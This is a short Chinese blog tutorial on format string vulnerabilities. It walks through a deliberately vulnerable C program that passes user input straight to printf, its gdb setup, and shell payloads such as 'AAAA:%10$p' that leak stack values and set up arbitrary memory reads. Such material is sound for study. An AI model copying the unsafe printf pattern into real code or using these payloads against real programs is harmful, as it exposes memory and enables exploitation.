格式化字符串 | fmt

//fmt.c
#include <stdio.h>
#include <string.h>
int flag = 0x44434241;
int main(int argc, char **argv)
{
char buf[1024];
int secret = 0x12345678;
if (argc < 2) //./fmt argv[1]
return 1;
strncpy(buf, argv[1], 1023);//argv[1]被复制到buf上
printf(buf);
printf("\n");
if (flag == 0x13371337)
{
printf("You Win!\n");
}
return 0;
}  
gcc -g - m32 fmt.c -o fmt
gdb --args ./fmt "AAAA" //gdb调试
b 12 //b at printf(buf);


格式化字符串:0xffffcc6c,栈上往后的数据均可被格式化字符串中的占位符索引到。
fmt_addr %1$p %2$p %3%p ...%n$p

n是相对于格式化字符串的位移,%10$p可以泄露secret的值

zer0_1s@zer0-1s ~ % ./fmt $(python -c 'print "AAAA:%10$p"')
AAAA:0x12345678
zer0_1s@zer0-1s ~ % ./fmt $(python -c 'print "AAAA:%11$p"')
AAAA:0x41414141

%11$p将栈上的内容作为指针(void*)打印出来,%11$s将打印地址为 0x41414141的字符串,这4个字节是可以任意修改的,因此可以将任意地址的字符串通过%s输出。

第11个格式化字符串在栈上的内容可控,进而用%11$p泄露地址处的字符串内容

posted @ 2022-04-24 11:18  zer0_1s  阅读(121)  评论(0编辑  收藏  举报